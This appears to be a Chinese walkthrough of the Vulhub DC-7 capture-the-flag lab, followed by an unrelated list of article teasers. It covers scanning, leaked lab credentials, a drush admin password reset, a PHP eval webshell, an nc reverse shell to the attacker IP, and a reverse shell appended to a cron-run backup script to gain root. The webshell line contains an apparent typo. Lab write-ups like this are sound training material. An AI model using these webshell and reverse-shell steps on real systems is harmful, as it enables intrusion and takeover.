Vulhub 靶场 DC-7解析

一、环境搭建

kali的靶攻击机IP地址:192.168.200.14

DC-7靶机的IP地址:暂时未知

注意:靶机和攻击机应处于一个网卡下

通过MAC地址判断靶机DC-7的IP 地址

二、信息收集

1、探索网段内存活的主机

第一种方式:

arp-scan -l 

1707095923_65c03773b9d21675191a4.png!small?1707095925152

第二种方式:

nmap -T4 -sP 192.168.200.0/24 -oN nmap200.sP

1707095931_65c0377b7685e161d3947.png!small?1707095932845

第三种方式:

netdiscover -i eth0 -r 192.168.200.0/24 #eth0代表网卡  -r代表网段

1707095942_65c037860904bedf75375.png!small?1707095943740

2、扫描站点开放的端口信息

nmap -p 1-65535 192.168.200.10 

1707095950_65c0378e0b67b335682b3.png!small?1707095951229

开放的端口有80端口和22端口

3、扫描目录

1707095961_65c03799ae41c587b03c8.png!small?1707095962660

1707095966_65c0379e74381d6716eb6.png!small?1707095967376

1707095972_65c037a41df212d4ebd44.png!small?1707095973221

1707095978_65c037aa177d4e5e2ecfc.png!small?1707095979286

4、网站指纹

第一种方式,可以安装火狐插件

第二种方式,在kali当中执行命令

whatweb -v 192.168.200.10

登陆网站,通过火狐插件可以知道网站使用的CMS是Drupal

1707095987_65c037b3c5290b57c05b9.png!small?1707095988846

当然,可以看到网站欢迎界面的英文信息

DC-7引入了一些“新”概念,但我让你来弄清楚它们是什么。:-)
虽然这个挑战并不完全是技术性的,但如果你需要诉诸暴力或字典攻击,你可能不会成功。
你要做的就是跳出框框思考。
盒子外面的路。:-)  #可知口令爆破是行不通的

三、漏洞测试

社工手段

百度搜索账户名

1707095996_65c037bc60d3432aaf621.png!small?1707095997414

是github账户,点击进入

1707096006_65c037c608cef18c76a62.png!small?1707096006945

可以看到全是配置文件,然后从底部的英文翻译可以知道,找对地方了

1707096015_65c037cf77d6fc4bc1a6c.png!small?1707096016629

1707096022_65c037d6aff18d47b7cb8.png!small?1707096023705

得到数据库账户密码

账户名:dc7user
密码:MdR3xOgB7#dW
数据库名:Staff

1707096032_65c037e08e471ccc61a04.png!small?1707096033512

几个可能的突破点:

1 网站首页的搜索框,尝试直接查询passwd等文件或直接输入linux命令查看,都以失败收尾;

2 尝试扫描网站目录,没发现什么有价值的目录,倒是发现了robotx.txt文件,这个文件作为常见的可以让爬虫程序扫描的文件之一,控制是否想让爬虫去爬取本站信息;

3 对于robots.txt文件,对里面的目录或者文件都进行了访问查看,未发现有用的信息

1707096041_65c037e9ccb75e650e319.png!small?1707096043131

没啥有用的,从刚才的账号密码入手进行ssh连接,登陆成功之后,看看home目录下有什么其他账户的文件夹

ssh dc7user@192.168.200.10

1707096050_65c037f24f2b3740442ca.png!small?1707096051552

发现一个backups文件夹和一个mbox文件

进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码

1707096059_65c037fb8e4613613de7e.png!small

1707096075_65c0380bba3c2060ee19c.png!small?1707096077267

进入mbox中发现脚本文件的路径

1707096084_65c038141a2b538570d0c.png!small?1707096085162

dc7user@dc-7:~$ cd /opt/scriptsdc7user@dc-7:/opt/scripts$ cat backups.sh 

主要信息:

Shell脚本文件 /opt/scripts/backups.sh

数据库文件:/home/dc7user/backups/website.sql

网站数据: /home/dc7user/backups/website.tar.gz

1707096093_65c0381dbb0a1955d607d.png!small?1707096095230

drush user-password admin --password="new_pass" 
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin  123456为我修改的密码。
drush user-password admin --password="123456" 

网页都会存在一个admin账户,也可以在网页的登录界面进行尝试,提示修改成功

1707096101_65c03825c4dee161e0175.png!small?1707096102730

来到网站后台,使用admin/123456登录网站,成功登录

http://192.168.200.10/user/login

1707096110_65c0382e1eb22dccafd99.png!small?1707096111153

在Content—>Add content–>Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入

php介绍页面如下,模块包下载地址

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

依次点击

1707096126_65c0383e1fbd1f9f988f2.png!small?1707096127270

安装完之后,跳转,然后点击激活

1707096138_65c0384ae1c1fcc6c6f81.png!small?1707096139900

1707096145_65c0385104e3c8bc11863.png!small?1707096146062

1707096151_65c038572566cb9339972.png!small?1707096152250

对该页面进行编辑,添加一句话PHP代码,并保存为PHP代码

<?php
@eval($POST[123]);
?>

1707096160_65c038603e6931241dfda.png!small?1707096161521

欢迎页面是网站的首页,所以直接使用中国蚁剑连接网站,成功连接getshell

1707096169_65c038694af0983d03afc.png!small?1707096170533

反弹SHELL

习惯性的反弹了一次shell到kali,在这里不反弹shell到kali下面也可以在蚁剑虚拟终端上做下面步骤

在kali监听6666端口,并反弹shell到kali,切换shell外壳

nc -e /bin/bash 192.168.200.14 6666
nc -lvvp 6666
python -c 'import pty;pty.spawn("/bin/bash")'

1707096177_65c038719a4d6b944d5b9.png!small?1707096178786

当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell

1707096184_65c03878c71e4672650a6.png!small?1707096185739

提权

写入反弹shell代码到backups.sh脚本文件中,并在kali监听8899端口,等待计划任务执行,稍微等待后成功getshell

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.200.14 8899 >/tmp/f" >> backups.shnc -lvvp 8899

1707096191_65c0387fea647e8028fb7.png!small?1707096193124

# 记得kali也要开启侦听

nc -lvvp 8899

等待之后…

1707096200_65c03888a9077763bfb6b.png!small?1707096202307

获得flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2807319.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【深入理解设计模式】原型设计模式

原型设计模式 原型设计模式&#xff08;Prototype Pattern&#xff09;是一种创建型设计模式&#xff0c;它允许通过复制已有对象来创建新对象&#xff0c;而无需直接依赖它们的具体类。这种模式通常用于需要频繁创建相似对象的场景&#xff0c;以避免昂贵的创建操作或初始化过…

南邮概率统计与随机过程练习册答案

**南京邮电大学** **概率统计与随机过程练习册答案简介** 本文档是一份精心整理的南京邮电大学概率统计与随机过程课程的练习册答案集。它旨在为学习该课程的学生提供一个详尽的解题参考,帮助他们更好地理解和掌握概率论与统计学的基本概念和方法。 **内容概览:** - **章节…

990-03产品经理与程序员:什么是 IT 与业务协调以及为什么它很重要?

What is IT-business alignment and why is it important? 什么是IT-业务一致性&#xff1f;为什么它很重要&#xff1f; It’s more important than ever that IT and the business operate from the same playbook(剧本). So why do so many organizations struggle to ach…

liunx gcc编译器 以及编译过程

liunx编译器gcc 编译过程 编译过程gccgcc的条件编译gcc 编译指令动态库和静态库 编译过程 预处理 &#xff08;1&#xff09;将所有的#define删除&#xff0c;并且展开所有的宏定义。说白了就是字符替换 &#xff08;2&#xff09;处理所有的条件编译指令&#xff0c;#ifdef …

信息安全计划:它是什么、为什么需要一个以及如何开始

每个组织都需要一个信息安全计划&#xff0c;因为数据已成为世界上最有价值的商品。与所有珍贵的东西一样&#xff0c;数据受到管理机构的严格监管&#xff0c;并且受到每个人&#xff08;包括骗子&#xff09;的觊觎。这就是网络犯罪不断增加的原因——与日益严格的合规环境同…

pdffactory pro 8中文破解版

详细介绍 PdfFactory&#xff0c;PDF文档虚拟打印机&#xff0c;无须Acrobat即可创建Adobe PDF文件&#xff0c;创建PDF文件的方法比其他方法更方便和高效。支持将多个文档整合到一个PDF文件、增加字体和便签、PDF加密、去水印、压缩优化。 FinePrint&#xff0c;Windows虚拟…

DAY29--learning English

一、积累 1.sign up for 2.business trip 3.calendar 4.acne 5.band-aid 6.scar 7.prescription 8.pimple 9.saucy 10.slurp 11.germaphobe 12.shred 13.boggle 14.platser 15.lick 16.sling 17.smack 18.stereotype 19.salmon 20.cable 二、练习 1.牛津原译 calendar. /ˈk…

【编译原理】第五章课后习题(王原生第三版)

前言 课本&#xff1a; 编译原理&#xff08;第三版&#xff09;[王生原、董渊…等编著]习题&#xff1a; 主要习题内容是第一章到第八章&#xff0c;具体内容如下表 章节内容链接第一章课后部分选择题https://blog.csdn.net/Zchengjisihan/article/details/136243955第二章课…

Linux的进程

在Linux中&#xff0c;可以使用多种方式来结束进程。以下是8种常见的方式&#xff1a; 终端中断&#xff08;Ctrl C&#xff09;&#xff1a;在终端中运行的程序可以通过按下Ctrl C组合键来发送SIGINT信号&#xff0c;终止该进程的执行。 kill命令&#xff1a;使用kill命令可…

仿12306校招项目业务一(支付)

业务流程 1. 用户发起支付 当用户抢到票后&#xff0c;开始发起订单支付请求&#xff0c;假设选择支付宝作为支付方式&#xff0c;支付流程如下。 2. 支付结果回调 当用户支付完一笔订单&#xff0c;支付宝付款渠道接收到支付结果后&#xff0c;对请求支付的系统进行支付结果…

线程池(ThreadPoolExecutor,as_completed)和scrapy框架初步构建——学习笔记

用法1&#xff1a;map函数 with ThreadPoolExecutor() as pool: results pool.map(craw,utls)for result in results:print(result) 1.Scrapy框架&#xff1a; 五大结构&#xff1a;引擎&#xff0c;下载器&#xff0c;爬虫&#xff0c;调度器&#xff0c;管道&#x…

Flask数据库操作-Flask-SQLAlchemy

Flask中一般使用flask-sqlalchemy来操作数据库。flask-sqlalchemy的使用介绍如下&#xff1a; 一、SQLAlchemy SQLALchemy 实际上是对数据库的抽象&#xff0c;让开发者不用直接和 SQL 语句打交道&#xff0c;而是通过 Python 对象来操作数据库&#xff0c;在舍弃一些性能开销…

udp服务器【Linux网络编程】

目录 一、UDP服务器 1、创建套接字 2、绑定套接字 3、运行 1&#xff09;读取数据 2&#xff09;发送数据 二、UDP客户端 创建套接字&#xff1a; 客户端不用手动bind 收发数据 处理消息和网络通信解耦 三、应用场景 1、服务端执行命令 2、Windows上的客户端 3…

Visual Studio:Entity设置表之间的关联关系

1、选择表并右键-》新增-》关联 2、设置关联的表及关联关系并“确定”即可

基于Docker和Springboot两种方式安装与部署Camunda流程引擎

文章目录 前言1、Docker安装1.1、拉取Camunda BPM镜像1.2、编写docker启动camunda容器脚本1.3、docker启动脚本1.4、访问验证 2、SpringBoot启动2.1、下载地址2.2、创建SpringBoot项目并配置基础信息2.3、下载SpringBoot项目并在idea中打开2.4、pom修改2.5、application.yml配置…

软件实例,物流货运配货单打印模板软件单据打印查询管理系统软件教程,可以同时打印标签或补打

软件实例&#xff0c;物流货运配货单打印模板软件单据打印查询管理系统软件教程&#xff0c;可以同时打印标签或补打 一、前言 以下软件教程以 佳易王物流单打印查询系统V17.1为例说明 软件文件下载可以点击最下方官网卡片——软件下载——试用版软件下载 这个版本在原来基…

PyTorch概述(五)---LINEAR

torch.nn.Linear torch.nn.Linear(in_features,out_features,biasTrue,deviceNone,dtypeNone) 对输入的数据应用一个线性变换&#xff1a; 该模块支持TensorFLoat32类型的数据&#xff1b;在某些ROCm设备上&#xff0c;使用float16类型的数据输入时&#xff0c;该模块在反向传…

C++面试题精选与解析

C面试题精选与解析 一、基础与语法 请问C中的指针和引用有什么区别&#xff1f; 指针是一个变量&#xff0c;存储的是另一个变量的内存地址。指针可以被重新赋值以指向另一个不同的对象。而引用是某个变量的别名&#xff0c;一旦引用被初始化为一个变量&#xff0c;就不能改变…

Java 学习和实践笔记(20):static的含义和使用

static的本义是静止的。在计算机里就表示静态变量。 在Java中&#xff0c;从内存分析图上可以看到&#xff0c;它与类、常量池放在一个区里&#xff1a; 从图可以看到&#xff0c;普通的方法和对象属性&#xff0c;都在heep里&#xff0c;而static则在方法区里。 static声明的…

数据结构-查找与排序

数据结构再往后就是比较零散的各种操作&#xff0c;查找与排序是其中最常出现的&#xff0c;今天来总结一下常用的查找与排序所用的方法 查找 顺序查找 最简单的查找方式&#xff0c;遍历&#xff0c;然后比较 bool search1(int *a,int n,int k){for (int i1;i<n;i){//遍…